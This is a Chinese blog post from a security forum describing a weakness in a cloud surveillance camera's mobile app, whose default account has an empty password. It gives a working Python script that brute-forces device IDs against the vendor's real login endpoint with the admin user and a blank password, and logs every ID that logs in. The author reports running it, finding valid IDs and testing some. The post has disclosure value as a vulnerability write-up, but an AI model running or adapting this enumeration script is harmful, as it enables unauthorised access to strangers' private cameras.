本文原创首发于飘云阁(www.chinapyg.com)/优雅人生(www.dllhook.com) 转载请注明出处!谢谢!!
互联网发展到了现今这个阶段,又发生了一种变化,那便是物联网了。说起物联网,您会想到什么?GPS、智能电表、车联网、网络监控?好吧,这都只是冰山一角。物联网,不管是广度还是深度,都已经超越了互联网。甚至,物联网虽然是以互联网为核心诞生,却在某些方面,远离了互联网。和很多物品一样,互联网也成了物联网的一个组成部分。但不管物联网还是互联网,用户的信息安全还是在首位的。
但在面临为用户提供便利还是安全这道选择题时,厂商几乎无一例外地会选择便利。无论如何,不管一个设备可能有多安全,必定有其软肋。比如说,我们最近买了一台云监控摄像头。今天闲来无事,对这台物联网设备的手机软件进行了一番分析,发现一些安全隐患。
App上连接机制是这样的:
输入官方提供的云ID、用户名和密码
默认用户名:admin 默认密码:空(漏洞开始!漏洞开始!漏洞开始! 重要事情说三遍)
现在祭出抓包神器Charles,手机设置代理开始抓包!
看关键字应该是一个API接口,这个我们目前不需要管。直接顺藤摸瓜找到主域,并输入ID、密码顺利登陆:
这里虽然没有获取到设备信息,但是给了我们一种思路--现在只需要枚举到正确的设备ID就可能入侵到无密码的摄像头~
顺便抓了一下登录成功的包:
有了上面的思路,现在写一段Python脚本随便跑一个ID值范围
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Date : 2016-08-24 16:36:17 # @Author : 飘云、蓝枫 # @Link : http://www.chinapyg.com # @Comment : 易视云摄像头ID枚举 import requests f = open('id.txt', 'a') def check(devid): payload = {'devid': devid, 'devname': 'admin', 'devpwd': '', 'action': 'LoginByEseeId'} r = requests.post("http://www.dvr163.com/ess/index.php", data=payload) ret = r.text if ret.find('1#') != -1: f.write(str(devid) + '\n') if __name__ == '__main__': for x in xrange(632610000, 632650000): print x check(x) f.close()
随便跑了一会儿,得到不少有效ID:
抽取几个随便测试下:
当然如果要得到更加详细的摄像头信息,可以深入分析一下他们的SDK,这里就不做详细研究了!!
如同,马修·加勒特(Matthew Garrett) 2016年3月份的一篇博客(http://mjg59.dreamwidth.org/40505.html)中写道,破解伦敦一家酒店的整个网络就跟将电脑连接到用来控制客房灯光的平板电脑一样轻松。
现在设想一下,不远的将来会有数以万亿个设备,这类情况到时会何等严峻。突然,我们目前缺乏安全和隐私与一旦物联网启动并运行起来,我们可能面临的严重势态相比似乎微不足道。
作者:飘云&蓝枫 [飘云阁]
发表评论